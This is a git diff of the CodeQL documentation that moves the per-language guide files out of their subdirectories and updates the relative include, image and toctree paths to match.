b/docs/codeql/codeql-cli/using-custom-queries-with-the-codeql-cli.rst similarity index 98% rename from docs/codeql/codeql-cli/using-the-codeql-cli/using-custom-queries-with-the-codeql-cli.rst rename to docs/codeql/codeql-cli/using-custom-queries-with-the-codeql-cli.rst index b3f2d02ca1b..50271c24eef 100644 --- a/docs/codeql/codeql-cli/using-the-codeql-cli/using-custom-queries-with-the-codeql-cli.rst +++ b/docs/codeql/codeql-cli/using-custom-queries-with-the-codeql-cli.rst @@ -10,7 +10,7 @@ This topic is specifically about writing queries to use with the `database analyze <../codeql-cli-manual/database-analyze.html>`__ command to produce :ref:`interpreted results `. -.. include:: ../../reusables/advanced-query-execution.rst +.. include:: ../reusables/advanced-query-execution.rst Writing a valid query --------------------- diff --git a/docs/codeql/codeql-cli/using-the-codeql-cli/index.rst b/docs/codeql/codeql-cli/using-the-codeql-cli.rst similarity index 97% rename from docs/codeql/codeql-cli/using-the-codeql-cli/index.rst rename to docs/codeql/codeql-cli/using-the-codeql-cli.rst index 95a1f412fe2..064f6369eca 100644 --- a/docs/codeql/codeql-cli/using-the-codeql-cli/index.rst +++ b/docs/codeql/codeql-cli/using-the-codeql-cli.rst @@ -3,7 +3,7 @@ Using the CodeQL CLI ==================== -.. include:: ../../reusables/codeql-cli-overview.rst +.. include:: ../reusables/codeql-cli-overview.rst See the following links to learn how to get set up and run CodeQL commands: diff --git a/docs/codeql/codeql-language-guides/codeql-for-go/abstract-syntax-tree-classes-for-working-with-go-programs.rst b/docs/codeql/codeql-language-guides/abstract-syntax-tree-classes-for-working-with-go-programs.rst similarity index 99% rename from docs/codeql/codeql-language-guides/codeql-for-go/abstract-syntax-tree-classes-for-working-with-go-programs.rst rename to docs/codeql/codeql-language-guides/abstract-syntax-tree-classes-for-working-with-go-programs.rst index 22a1722b8a6..516cb86b753 100644 --- a/docs/codeql/codeql-language-guides/codeql-for-go/abstract-syntax-tree-classes-for-working-with-go-programs.rst +++ b/docs/codeql/codeql-language-guides/abstract-syntax-tree-classes-for-working-with-go-programs.rst @@ -5,7 +5,7 @@ Abstract syntax tree classes for working with Go programs CodeQL has a large selection of classes for representing the abstract syntax tree of Go programs. -.. include:: ../../reusables/abstract-syntax-tree.rst +.. include:: ../reusables/abstract-syntax-tree.rst Statement classes ----------------- @@ -481,5 +481,5 @@ The following classes organize expressions by the kind of entity they refer to. Further reading --------------- -.. include:: ../../reusables/go-further-reading.rst -.. include:: ../../reusables/codeql-ref-tools-further-reading.rst \ No newline at end of file +.. include:: ../reusables/go-further-reading.rst +.. include:: ../reusables/codeql-ref-tools-further-reading.rst \ No newline at end of file diff --git a/docs/codeql/codeql-language-guides/codeql-for-java/abstract-syntax-tree-classes-for-working-with-java-programs.rst b/docs/codeql/codeql-language-guides/abstract-syntax-tree-classes-for-working-with-java-programs.rst similarity index 99% rename from docs/codeql/codeql-language-guides/codeql-for-java/abstract-syntax-tree-classes-for-working-with-java-programs.rst rename to docs/codeql/codeql-language-guides/abstract-syntax-tree-classes-for-working-with-java-programs.rst index aae621d8314..9e5ab4cd706 100644 --- a/docs/codeql/codeql-language-guides/codeql-for-java/abstract-syntax-tree-classes-for-working-with-java-programs.rst +++ b/docs/codeql/codeql-language-guides/abstract-syntax-tree-classes-for-working-with-java-programs.rst @@ -5,7 +5,7 @@ Abstract syntax tree classes for working with Java programs CodeQL has a large selection of classes for representing the abstract syntax tree of Java programs. -.. include:: ../../reusables/abstract-syntax-tree.rst +.. include:: ../reusables/abstract-syntax-tree.rst Statement classes ----------------- @@ -274,8 +274,8 @@ Miscellaneous Further reading --------------- -.. include:: ../../reusables/java-further-reading.rst -.. include:: ../../reusables/codeql-ref-tools-further-reading.rst +.. include:: ../reusables/java-further-reading.rst +.. include:: ../reusables/codeql-ref-tools-further-reading.rst .. _Expr: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$Expr.html .. _Stmt: https://help.semmle.com/qldoc/java/semmle/code/java/Statement.qll/type.Statement$Stmt.html diff --git a/docs/codeql/codeql-language-guides/codeql-for-javascript/abstract-syntax-tree-classes-for-working-with-javascript-and-typescript-programs.rst b/docs/codeql/codeql-language-guides/abstract-syntax-tree-classes-for-working-with-javascript-and-typescript-programs.rst similarity index 99% rename from docs/codeql/codeql-language-guides/codeql-for-javascript/abstract-syntax-tree-classes-for-working-with-javascript-and-typescript-programs.rst rename to docs/codeql/codeql-language-guides/abstract-syntax-tree-classes-for-working-with-javascript-and-typescript-programs.rst index 351e608b01a..1eb21c7a666 100644 --- a/docs/codeql/codeql-language-guides/codeql-for-javascript/abstract-syntax-tree-classes-for-working-with-javascript-and-typescript-programs.rst +++ b/docs/codeql/codeql-language-guides/abstract-syntax-tree-classes-for-working-with-javascript-and-typescript-programs.rst @@ -5,7 +5,7 @@ Abstract syntax tree classes for working with JavaScript and TypeScript programs CodeQL has a large selection of classes for representing the abstract syntax tree of JavaScript and TypeScript programs. -.. include:: ../../reusables/abstract-syntax-tree.rst +.. include:: ../reusables/abstract-syntax-tree.rst Statement classes ----------------- @@ -364,5 +364,5 @@ All classes in this table are subclasses of `Expr `, :doc:`C# <../codeql-for-csharp/analyzing-data-flow-in-csharp>`, :doc:`Java <../codeql-for-java/analyzing-data-flow-in-java>`, and :doc:`JavaScript <../codeql-for-javascript/analyzing-data-flow-in-javascript>`. You can access the appropriate classes and predicates that reason about these different modes of data flow by importing the appropriate library in your query. +Separate CodeQL libraries have been written to handle 'normal' data flow and taint tracking in :doc:`C/C++ `, :doc:`C# `, :doc:`Java `, and :doc:`JavaScript `. You can access the appropriate classes and predicates that reason about these different modes of data flow by importing the appropriate library in your query. In Python analysis, we can use the same taint tracking library to model both 'normal' data flow and taint flow, but we are still able make the distinction between steps that preserve values and those that don't by defining additional data flow properties. For further information on data flow and taint tracking with CodeQL, see ":ref:`Introduction to data flow `." @@ -264,6 +264,6 @@ Further reading - ":ref:`Exploring data flow with path queries `" -.. include:: ../../reusables/python-further-reading.rst -.. include:: ../../reusables/codeql-ref-tools-further-reading.rst +.. include:: ../reusables/python-further-reading.rst +.. include:: ../reusables/codeql-ref-tools-further-reading.rst diff --git a/docs/codeql/codeql-language-guides/codeql-for-cpp/analyzing-data-flow-in-cpp.rst b/docs/codeql/codeql-language-guides/analyzing-data-flow-in-cpp.rst similarity index 98% rename from docs/codeql/codeql-language-guides/codeql-for-cpp/analyzing-data-flow-in-cpp.rst rename to docs/codeql/codeql-language-guides/analyzing-data-flow-in-cpp.rst index 09e0ebbb6ff..815425a425a 100644 --- a/docs/codeql/codeql-language-guides/codeql-for-cpp/analyzing-data-flow-in-cpp.rst +++ b/docs/codeql/codeql-language-guides/analyzing-data-flow-in-cpp.rst @@ -143,7 +143,7 @@ Global data flow tracks data flow throughout the entire program, and is therefor .. pull-quote:: Note - .. include:: ../../reusables/path-problem.rst + .. include:: ../reusables/path-problem.rst Using global data flow ~~~~~~~~~~~~~~~~~~~~~~ @@ -395,5 +395,5 @@ Further reading - ":ref:`Exploring data flow with path queries `" -.. include:: ../../reusables/cpp-further-reading.rst -.. include:: ../../reusables/codeql-ref-tools-further-reading.rst \ No newline at end of file +.. include:: ../reusables/cpp-further-reading.rst +.. include:: ../reusables/codeql-ref-tools-further-reading.rst \ No newline at end of file diff --git a/docs/codeql/codeql-language-guides/codeql-for-csharp/analyzing-data-flow-in-csharp.rst b/docs/codeql/codeql-language-guides/analyzing-data-flow-in-csharp.rst similarity index 99% rename from docs/codeql/codeql-language-guides/codeql-for-csharp/analyzing-data-flow-in-csharp.rst rename to docs/codeql/codeql-language-guides/analyzing-data-flow-in-csharp.rst index 6a9304925dc..71cf519fae3 100644 --- a/docs/codeql/codeql-language-guides/codeql-for-csharp/analyzing-data-flow-in-csharp.rst +++ b/docs/codeql/codeql-language-guides/analyzing-data-flow-in-csharp.rst @@ -141,7 +141,7 @@ Global data flow tracks data flow throughout the entire program, and is therefor .. pull-quote:: Note - .. include:: ../../reusables/path-problem.rst + .. include:: ../reusables/path-problem.rst Using global data flow ~~~~~~~~~~~~~~~~~~~~~~ @@ -558,5 +558,5 @@ Further reading - ":ref:`Exploring data flow with path queries `" -.. include:: ../../reusables/csharp-further-reading.rst -.. include:: ../../reusables/codeql-ref-tools-further-reading.rst +.. include:: ../reusables/csharp-further-reading.rst +.. include:: ../reusables/codeql-ref-tools-further-reading.rst diff --git a/docs/codeql/codeql-language-guides/codeql-for-java/analyzing-data-flow-in-java.rst b/docs/codeql/codeql-language-guides/analyzing-data-flow-in-java.rst similarity index 98% rename from docs/codeql/codeql-language-guides/codeql-for-java/analyzing-data-flow-in-java.rst rename to docs/codeql/codeql-language-guides/analyzing-data-flow-in-java.rst index ebcdb91cad9..75309842ad5 100644 --- a/docs/codeql/codeql-language-guides/codeql-for-java/analyzing-data-flow-in-java.rst +++ b/docs/codeql/codeql-language-guides/analyzing-data-flow-in-java.rst @@ -151,7 +151,7 @@ Global data flow tracks data flow throughout the entire program, and is therefor .. pull-quote:: Note - .. include:: ../../reusables/path-problem.rst + .. include:: ../reusables/path-problem.rst Using global data flow ~~~~~~~~~~~~~~~~~~~~~~ @@ -363,5 +363,5 @@ Further reading - ":ref:`Exploring data flow with path queries `" -.. include:: ../../reusables/java-further-reading.rst -.. include:: ../../reusables/codeql-ref-tools-further-reading.rst \ No newline at end of file +.. include:: ../reusables/java-further-reading.rst +.. include:: ../reusables/codeql-ref-tools-further-reading.rst \ No newline at end of file diff --git a/docs/codeql/codeql-language-guides/codeql-for-javascript/analyzing-data-flow-in-javascript.rst b/docs/codeql/codeql-language-guides/analyzing-data-flow-in-javascript.rst similarity index 99% rename from docs/codeql/codeql-language-guides/codeql-for-javascript/analyzing-data-flow-in-javascript.rst rename to docs/codeql/codeql-language-guides/analyzing-data-flow-in-javascript.rst index 6e4c9c2a32a..198b4ff0aec 100644 --- a/docs/codeql/codeql-language-guides/codeql-for-javascript/analyzing-data-flow-in-javascript.rst +++ b/docs/codeql/codeql-language-guides/analyzing-data-flow-in-javascript.rst @@ -192,7 +192,7 @@ more time and memory than local analysis. .. pull-quote:: Note - .. include:: ../../reusables/path-problem.rst + .. include:: ../reusables/path-problem.rst Using global data flow ~~~~~~~~~~~~~~~~~~~~~~ @@ -559,5 +559,5 @@ Further reading - ":ref:`Exploring data flow with path queries `" -.. include:: ../../reusables/java-further-reading.rst -.. include:: ../../reusables/codeql-ref-tools-further-reading.rst \ No newline at end of file +.. include:: ../reusables/java-further-reading.rst +.. include:: ../reusables/codeql-ref-tools-further-reading.rst \ No newline at end of file diff --git a/docs/codeql/codeql-language-guides/codeql-for-java/annotations-in-java.rst b/docs/codeql/codeql-language-guides/annotations-in-java.rst similarity index 98% rename from docs/codeql/codeql-language-guides/codeql-for-java/annotations-in-java.rst rename to docs/codeql/codeql-language-guides/annotations-in-java.rst index a9d8fcee923..3439fb6ff0e 100644 --- a/docs/codeql/codeql-language-guides/codeql-for-java/annotations-in-java.rst +++ b/docs/codeql/codeql-language-guides/annotations-in-java.rst @@ -242,5 +242,5 @@ Now we can extend our query to filter out calls in methods carrying a ``Suppress Further reading --------------- -.. include:: ../../reusables/java-further-reading.rst -.. include:: ../../reusables/codeql-ref-tools-further-reading.rst +.. include:: ../reusables/java-further-reading.rst +.. include:: ../reusables/codeql-ref-tools-further-reading.rst diff --git a/docs/codeql/codeql-language-guides/codeql-for-cpp/basic-query-for-cpp-code.rst b/docs/codeql/codeql-language-guides/basic-query-for-cpp-code.rst similarity index 98% rename from docs/codeql/codeql-language-guides/codeql-for-cpp/basic-query-for-cpp-code.rst rename to docs/codeql/codeql-language-guides/basic-query-for-cpp-code.rst index b0068587fb7..a2be15c2fed 100644 --- a/docs/codeql/codeql-language-guides/codeql-for-cpp/basic-query-for-cpp-code.rst +++ b/docs/codeql/codeql-language-guides/basic-query-for-cpp-code.rst @@ -48,7 +48,7 @@ Running the query The name of the project you are querying, and the ID of the most recently analyzed commit to the project, are listed below the query box. To the right of this is an icon that indicates the progress of the query operation: - .. image:: ../../images/query-progress.png + .. image:: ../images/query-progress.png :align: center .. pull-quote:: @@ -143,5 +143,5 @@ To exclude ``if`` statements that have an ``else`` branch: Further reading --------------- -.. include:: ../../reusables/cpp-further-reading.rst -.. include:: ../../reusables/codeql-ref-tools-further-reading.rst +.. include:: ../reusables/cpp-further-reading.rst +.. include:: ../reusables/codeql-ref-tools-further-reading.rst diff --git a/docs/codeql/codeql-language-guides/codeql-for-csharp/basic-query-for-csharp-code.rst b/docs/codeql/codeql-language-guides/basic-query-for-csharp-code.rst similarity index 98% rename from docs/codeql/codeql-language-guides/codeql-for-csharp/basic-query-for-csharp-code.rst rename to docs/codeql/codeql-language-guides/basic-query-for-csharp-code.rst index 8439c424d19..f61edbac0f9 100644 --- a/docs/codeql/codeql-language-guides/codeql-for-csharp/basic-query-for-csharp-code.rst +++ b/docs/codeql/codeql-language-guides/basic-query-for-csharp-code.rst @@ -48,7 +48,7 @@ Running the query The name of the project you are querying, and the ID of the most recently analyzed commit to the project, are listed below the query box. To the right of this is an icon that indicates the progress of the query operation: - .. image:: ../../images/query-progress.png + .. image:: ../images/query-progress.png :align: center .. pull-quote:: @@ -148,5 +148,5 @@ To exclude ``if`` statements that have an ``else`` branch: Further reading --------------- -.. include:: ../../reusables/csharp-further-reading.rst -.. include:: ../../reusables/codeql-ref-tools-further-reading.rst +.. include:: ../reusables/csharp-further-reading.rst +.. include:: ../reusables/codeql-ref-tools-further-reading.rst diff --git a/docs/codeql/codeql-language-guides/codeql-for-go/basic-query-for-go-code.rst b/docs/codeql/codeql-language-guides/basic-query-for-go-code.rst similarity index 98% rename from docs/codeql/codeql-language-guides/codeql-for-go/basic-query-for-go-code.rst rename to docs/codeql/codeql-language-guides/basic-query-for-go-code.rst index 32a41e44a24..15ae9caee7d 100644 --- a/docs/codeql/codeql-language-guides/codeql-for-go/basic-query-for-go-code.rst +++ b/docs/codeql/codeql-language-guides/basic-query-for-go-code.rst @@ -58,7 +58,7 @@ Running the query The name of the project you are querying, and the ID of the most recently analyzed commit to the project, are listed below the query box. To the right of this is an icon that indicates the progress of the query operation: - .. image:: ../../images/query-progress.png + .. image:: ../images/query-progress.png :align: center .. pull-quote:: @@ -149,5 +149,5 @@ To exclude these values: Further reading --------------- -.. include:: ../../reusables/go-further-reading.rst -.. include:: ../../reusables/codeql-ref-tools-further-reading.rst +.. include:: ../reusables/go-further-reading.rst +.. include:: ../reusables/codeql-ref-tools-further-reading.rst diff --git a/docs/codeql/codeql-language-guides/codeql-for-java/basic-query-for-java-code.rst b/docs/codeql/codeql-language-guides/basic-query-for-java-code.rst similarity index 98% rename from docs/codeql/codeql-language-guides/codeql-for-java/basic-query-for-java-code.rst rename to docs/codeql/codeql-language-guides/basic-query-for-java-code.rst index 56e03e07ca1..bc721ce9371 100644 --- a/docs/codeql/codeql-language-guides/codeql-for-java/basic-query-for-java-code.rst +++ b/docs/codeql/codeql-language-guides/basic-query-for-java-code.rst @@ -48,7 +48,7 @@ Running the query The name of the project you are querying, and the ID of the most recently analyzed commit to the project, are listed below the query box. To the right of this is an icon that indicates the progress of the query operation: - .. image:: ../../images/query-progress.png + .. image:: ../images/query-progress.png :align: center .. pull-quote:: @@ -143,5 +143,5 @@ To exclude ``if`` statements that have an ``else`` branch: Further reading --------------- -.. include:: ../../reusables/java-further-reading.rst -.. include:: ../../reusables/codeql-ref-tools-further-reading.rst +.. include:: ../reusables/java-further-reading.rst +.. include:: ../reusables/codeql-ref-tools-further-reading.rst diff --git a/docs/codeql/codeql-language-guides/codeql-for-javascript/basic-query-for-javascript-code.rst b/docs/codeql/codeql-language-guides/basic-query-for-javascript-code.rst similarity index 98% rename from docs/codeql/codeql-language-guides/codeql-for-javascript/basic-query-for-javascript-code.rst rename to docs/codeql/codeql-language-guides/basic-query-for-javascript-code.rst index ac79cb3c8c7..123336d699e 100644 --- a/docs/codeql/codeql-language-guides/codeql-for-javascript/basic-query-for-javascript-code.rst +++ b/docs/codeql/codeql-language-guides/basic-query-for-javascript-code.rst @@ -46,7 +46,7 @@ Running the query The name of the project you are querying, and the ID of the most recently analyzed commit to the project, are listed below the query box. To the right of this is an icon that indicates the progress of the query operation: - .. image:: ../../images/query-progress.png + .. image:: ../images/query-progress.png :align: center .. pull-quote:: @@ -134,5 +134,5 @@ As written, this statement compares ``point.bias`` against ``-1`` and then disca Further reading --------------- -.. include:: ../../reusables/javascript-further-reading.rst -.. include:: ../../reusables/codeql-ref-tools-further-reading.rst +.. include:: ../reusables/javascript-further-reading.rst +.. include:: ../reusables/codeql-ref-tools-further-reading.rst diff --git a/docs/codeql/codeql-language-guides/codeql-for-python/basic-query-for-python-code.rst b/docs/codeql/codeql-language-guides/basic-query-for-python-code.rst similarity index 98% rename from docs/codeql/codeql-language-guides/codeql-for-python/basic-query-for-python-code.rst rename to docs/codeql/codeql-language-guides/basic-query-for-python-code.rst index 1519054e0f3..f8424b00d4e 100644 --- a/docs/codeql/codeql-language-guides/codeql-for-python/basic-query-for-python-code.rst +++ b/docs/codeql/codeql-language-guides/basic-query-for-python-code.rst @@ -48,7 +48,7 @@ Running the query The name of the project you are querying, and the ID of the most recently analyzed commit to the project, are listed below the query box. To the right of this is an icon that indicates the progress of the query operation: - .. image:: ../../images/query-progress.png + .. image:: ../images/query-progress.png :align: center .. pull-quote:: @@ -142,5 +142,5 @@ To exclude ``if`` statements that have an ``else`` branch: Further reading --------------- -.. include:: ../../reusables/python-further-reading.rst -.. include:: ../../reusables/codeql-ref-tools-further-reading.rst +.. include:: ../reusables/python-further-reading.rst +.. include:: ../reusables/codeql-ref-tools-further-reading.rst diff --git a/docs/codeql/codeql-language-guides/codeql-for-cpp/index.rst b/docs/codeql/codeql-language-guides/codeql-for-cpp.rst similarity index 100% rename from docs/codeql/codeql-language-guides/codeql-for-cpp/index.rst rename to docs/codeql/codeql-language-guides/codeql-for-cpp.rst diff --git a/docs/codeql/codeql-language-guides/codeql-for-csharp/index.rst b/docs/codeql/codeql-language-guides/codeql-for-csharp.rst similarity index 100% rename from docs/codeql/codeql-language-guides/codeql-for-csharp/index.rst rename to docs/codeql/codeql-language-guides/codeql-for-csharp.rst diff --git a/docs/codeql/codeql-language-guides/codeql-for-go/index.rst b/docs/codeql/codeql-language-guides/codeql-for-go.rst similarity index 100% rename from docs/codeql/codeql-language-guides/codeql-for-go/index.rst rename to docs/codeql/codeql-language-guides/codeql-for-go.rst diff --git a/docs/codeql/codeql-language-guides/codeql-for-java/index.rst b/docs/codeql/codeql-language-guides/codeql-for-java.rst similarity index 100% rename from docs/codeql/codeql-language-guides/codeql-for-java/index.rst rename to docs/codeql/codeql-language-guides/codeql-for-java.rst diff --git a/docs/codeql/codeql-language-guides/codeql-for-javascript/index.rst b/docs/codeql/codeql-language-guides/codeql-for-javascript.rst similarity index 100% rename from docs/codeql/codeql-language-guides/codeql-for-javascript/index.rst rename to docs/codeql/codeql-language-guides/codeql-for-javascript.rst diff --git a/docs/codeql/codeql-language-guides/codeql-for-python/index.rst b/docs/codeql/codeql-language-guides/codeql-for-python.rst similarity index 100% rename from docs/codeql/codeql-language-guides/codeql-for-python/index.rst rename to docs/codeql/codeql-language-guides/codeql-for-python.rst diff --git a/docs/codeql/codeql-language-guides/codeql-for-cpp/codeql-library-for-cpp.rst b/docs/codeql/codeql-language-guides/codeql-library-for-cpp.rst similarity index 99% rename from docs/codeql/codeql-language-guides/codeql-for-cpp/codeql-library-for-cpp.rst rename to docs/codeql/codeql-language-guides/codeql-library-for-cpp.rst index 95d88e6cdc5..bd1f19be859 100644 --- a/docs/codeql/codeql-language-guides/codeql-for-cpp/codeql-library-for-cpp.rst +++ b/docs/codeql/codeql-language-guides/codeql-library-for-cpp.rst @@ -527,5 +527,5 @@ This table lists `Preprocessor `__ on LG Further reading --------------- -.. include:: ../../reusables/cpp-further-reading.rst -.. include:: ../../reusables/codeql-ref-tools-further-reading.rst +.. include:: ../reusables/cpp-further-reading.rst +.. include:: ../reusables/codeql-ref-tools-further-reading.rst diff --git a/docs/codeql/codeql-language-guides/codeql-for-javascript/data-flow-cheat-sheet-for-javascript.rst b/docs/codeql/codeql-language-guides/data-flow-cheat-sheet-for-javascript.rst similarity index 99% rename from docs/codeql/codeql-language-guides/codeql-for-javascript/data-flow-cheat-sheet-for-javascript.rst rename to docs/codeql/codeql-language-guides/data-flow-cheat-sheet-for-javascript.rst index 78c3bc0c811..77092e7d939 100644 --- a/docs/codeql/codeql-language-guides/codeql-for-javascript/data-flow-cheat-sheet-for-javascript.rst +++ b/docs/codeql/codeql-language-guides/data-flow-cheat-sheet-for-javascript.rst @@ -225,5 +225,5 @@ Further reading - ":ref:`Exploring data flow with path queries `" -.. include:: ../../reusables/javascript-further-reading.rst -.. include:: ../../reusables/codeql-ref-tools-further-reading.rst \ No newline at end of file +.. include:: ../reusables/javascript-further-reading.rst +.. include:: ../reusables/codeql-ref-tools-further-reading.rst \ No newline at end of file diff --git a/docs/codeql/codeql-language-guides/codeql-for-cpp/detecting-a-potential-buffer-overflow.rst b/docs/codeql/codeql-language-guides/detecting-a-potential-buffer-overflow.rst similarity index 98% rename from docs/codeql/codeql-language-guides/codeql-for-cpp/detecting-a-potential-buffer-overflow.rst rename to docs/codeql/codeql-language-guides/detecting-a-potential-buffer-overflow.rst index b3471128049..6b315860dcf 100644 --- a/docs/codeql/codeql-language-guides/codeql-for-cpp/detecting-a-potential-buffer-overflow.rst +++ b/docs/codeql/codeql-language-guides/detecting-a-potential-buffer-overflow.rst @@ -226,5 +226,5 @@ The completed query will now identify cases where the result of ``strlen`` is st Further reading --------------- -.. include:: ../../reusables/cpp-further-reading.rst -.. include:: ../../reusables/codeql-ref-tools-further-reading.rst +.. include:: ../reusables/cpp-further-reading.rst +.. include:: ../reusables/codeql-ref-tools-further-reading.rst diff --git a/docs/codeql/codeql-language-guides/codeql-for-python/expressions-and-statements-in-python.rst b/docs/codeql/codeql-language-guides/expressions-and-statements-in-python.rst similarity index 98% rename from docs/codeql/codeql-language-guides/codeql-for-python/expressions-and-statements-in-python.rst rename to docs/codeql/codeql-language-guides/expressions-and-statements-in-python.rst index 7c856ee8506..48cca630660 100644 --- a/docs/codeql/codeql-language-guides/codeql-for-python/expressions-and-statements-in-python.rst +++ b/docs/codeql/codeql-language-guides/expressions-and-statements-in-python.rst @@ -258,6 +258,6 @@ Here is the relevant part of the class hierarchy: Further reading --------------- -.. include:: ../../reusables/python-further-reading.rst -.. include:: ../../reusables/codeql-ref-tools-further-reading.rst +.. include:: ../reusables/python-further-reading.rst +.. include:: ../reusables/codeql-ref-tools-further-reading.rst diff --git a/docs/codeql/codeql-language-guides/codeql-for-cpp/expressions-types-and-statements-in-cpp.rst b/docs/codeql/codeql-language-guides/expressions-types-and-statements-in-cpp.rst similarity index 98% rename from docs/codeql/codeql-language-guides/codeql-for-cpp/expressions-types-and-statements-in-cpp.rst rename to docs/codeql/codeql-language-guides/expressions-types-and-statements-in-cpp.rst index fcd35768698..d7adc22c2cd 100644 --- a/docs/codeql/codeql-language-guides/codeql-for-cpp/expressions-types-and-statements-in-cpp.rst +++ b/docs/codeql/codeql-language-guides/expressions-types-and-statements-in-cpp.rst @@ -134,5 +134,5 @@ Note that we replaced ``e.getEnclosingStmt()`` with ``e.getEnclosingStmt().getPa Further reading --------------- -.. include:: ../../reusables/cpp-further-reading.rst -.. include:: ../../reusables/codeql-ref-tools-further-reading.rst +.. include:: ../reusables/cpp-further-reading.rst +.. include:: ../reusables/codeql-ref-tools-further-reading.rst diff --git a/docs/codeql/codeql-language-guides/codeql-for-cpp/functions-in-cpp.rst b/docs/codeql/codeql-language-guides/functions-in-cpp.rst similarity index 97% rename from docs/codeql/codeql-language-guides/codeql-for-cpp/functions-in-cpp.rst rename to docs/codeql/codeql-language-guides/functions-in-cpp.rst index abf04311873..84d72e5376a 100644 --- a/docs/codeql/codeql-language-guides/codeql-for-cpp/functions-in-cpp.rst +++ b/docs/codeql/codeql-language-guides/functions-in-cpp.rst @@ -94,5 +94,5 @@ The LGTM version of this query is considerably more complicated, but if you look Further reading --------------- -.. include:: ../../reusables/cpp-further-reading.rst -.. include:: ../../reusables/codeql-ref-tools-further-reading.rst +.. include:: ../reusables/cpp-further-reading.rst +.. include:: ../reusables/codeql-ref-tools-further-reading.rst diff --git a/docs/codeql/codeql-language-guides/codeql-for-python/functions-in-python.rst b/docs/codeql/codeql-language-guides/functions-in-python.rst similarity index 96% rename from docs/codeql/codeql-language-guides/codeql-for-python/functions-in-python.rst rename to docs/codeql/codeql-language-guides/functions-in-python.rst index 3314bb7494c..cbbfe459f75 100644 --- a/docs/codeql/codeql-language-guides/codeql-for-python/functions-in-python.rst +++ b/docs/codeql/codeql-language-guides/functions-in-python.rst @@ -83,6 +83,6 @@ In a later tutorial we will see how to use the type-inference library to find ca Further reading --------------- -.. include:: ../../reusables/python-further-reading.rst -.. include:: ../../reusables/codeql-ref-tools-further-reading.rst +.. include:: ../reusables/python-further-reading.rst +.. include:: ../reusables/codeql-ref-tools-further-reading.rst diff --git a/docs/codeql/codeql-language-guides/codeql-for-cpp/hash-consing-and-value-numbering.rst b/docs/codeql/codeql-language-guides/hash-consing-and-value-numbering.rst similarity index 97% rename from docs/codeql/codeql-language-guides/codeql-for-cpp/hash-consing-and-value-numbering.rst rename to docs/codeql/codeql-language-guides/hash-consing-and-value-numbering.rst index 1a064d9f27b..80f063386b8 100644 --- a/docs/codeql/codeql-language-guides/codeql-for-cpp/hash-consing-and-value-numbering.rst +++ b/docs/codeql/codeql-language-guides/hash-consing-and-value-numbering.rst @@ -116,5 +116,5 @@ Example query Further reading --------------- -.. include:: ../../reusables/cpp-further-reading.rst -.. include:: ../../reusables/codeql-ref-tools-further-reading.rst \ No newline at end of file +.. include:: ../reusables/cpp-further-reading.rst +.. include:: ../reusables/codeql-ref-tools-further-reading.rst \ No newline at end of file diff --git a/docs/codeql/codeql-language-guides/index.rst b/docs/codeql/codeql-language-guides/index.rst index abd20af89e0..440b706a02a 100644 --- a/docs/codeql/codeql-language-guides/index.rst +++ b/docs/codeql/codeql-language-guides/index.rst @@ -7,10 +7,10 @@ Experiment and learn how to write effective and efficient queries for CodeQL dat .. toctree:: - codeql-for-cpp/index - codeql-for-csharp/index - codeql-for-go/index - codeql-for-java/index - codeql-for-javascript/index - codeql-for-python/index + codeql-for-cpp + codeql-for-csharp + codeql-for-go + codeql-for-java + codeql-for-javascript + codeql-for-python \ No newline at end of file diff --git a/docs/codeql/codeql-language-guides/codeql-for-java/javadoc.rst b/docs/codeql/codeql-language-guides/javadoc.rst similarity index 98% rename from docs/codeql/codeql-language-guides/codeql-for-java/javadoc.rst rename to docs/codeql/codeql-language-guides/javadoc.rst index bed07e015e0..7e16cc6ce36 100644 --- a/docs/codeql/codeql-language-guides/codeql-for-java/javadoc.rst +++ b/docs/codeql/codeql-language-guides/javadoc.rst @@ -223,5 +223,5 @@ Currently, ``visibleIn`` only considers single-type imports, but you could exten Further reading --------------- -.. include:: ../../reusables/java-further-reading.rst -.. include:: ../../reusables/codeql-ref-tools-further-reading.rst +.. include:: ../reusables/java-further-reading.rst +.. include:: ../reusables/codeql-ref-tools-further-reading.rst diff --git a/docs/codeql/codeql-language-guides/codeql-for-go/modeling-data-flow-in-go-libraries.rst b/docs/codeql/codeql-language-guides/modeling-data-flow-in-go-libraries.rst similarity index 100% rename from docs/codeql/codeql-language-guides/codeql-for-go/modeling-data-flow-in-go-libraries.rst rename to docs/codeql/codeql-language-guides/modeling-data-flow-in-go-libraries.rst diff --git a/docs/codeql/codeql-language-guides/codeql-for-java/navigating-the-call-graph.rst b/docs/codeql/codeql-language-guides/navigating-the-call-graph.rst similarity index 98% rename from docs/codeql/codeql-language-guides/codeql-for-java/navigating-the-call-graph.rst rename to docs/codeql/codeql-language-guides/navigating-the-call-graph.rst index f2490e58a6e..8b73b49153b 100644 --- a/docs/codeql/codeql-language-guides/codeql-for-java/navigating-the-call-graph.rst +++ b/docs/codeql/codeql-language-guides/navigating-the-call-graph.rst @@ -166,5 +166,5 @@ Finally, on many Java projects there are methods that are invoked indirectly by Further reading --------------- -.. include:: ../../reusables/java-further-reading.rst -.. include:: ../../reusables/codeql-ref-tools-further-reading.rst +.. include:: ../reusables/java-further-reading.rst +.. include:: ../reusables/codeql-ref-tools-further-reading.rst diff --git a/docs/codeql/codeql-language-guides/codeql-for-java/overflow-prone-comparisons-in-java.rst b/docs/codeql/codeql-language-guides/overflow-prone-comparisons-in-java.rst similarity index 98% rename from docs/codeql/codeql-language-guides/codeql-for-java/overflow-prone-comparisons-in-java.rst rename to docs/codeql/codeql-language-guides/overflow-prone-comparisons-in-java.rst index cd73cd1512a..b0762a5c139 100644 --- a/docs/codeql/codeql-language-guides/codeql-for-java/overflow-prone-comparisons-in-java.rst +++ b/docs/codeql/codeql-language-guides/overflow-prone-comparisons-in-java.rst @@ -127,5 +127,5 @@ Now we rewrite our query to make use of these new classes: Further reading --------------- -.. include:: ../../reusables/java-further-reading.rst -.. include:: ../../reusables/codeql-ref-tools-further-reading.rst +.. include:: ../reusables/java-further-reading.rst +.. include:: ../reusables/codeql-ref-tools-further-reading.rst diff --git a/docs/codeql/codeql-language-guides/codeql-for-python/pointer-analysis-and-type-inference-in-python.rst b/docs/codeql/codeql-language-guides/pointer-analysis-and-type-inference-in-python.rst similarity index 98% rename from docs/codeql/codeql-language-guides/codeql-for-python/pointer-analysis-and-type-inference-in-python.rst rename to docs/codeql/codeql-language-guides/pointer-analysis-and-type-inference-in-python.rst index 7ff754483b4..934fd9943c8 100644 --- a/docs/codeql/codeql-language-guides/codeql-for-python/pointer-analysis-and-type-inference-in-python.rst +++ 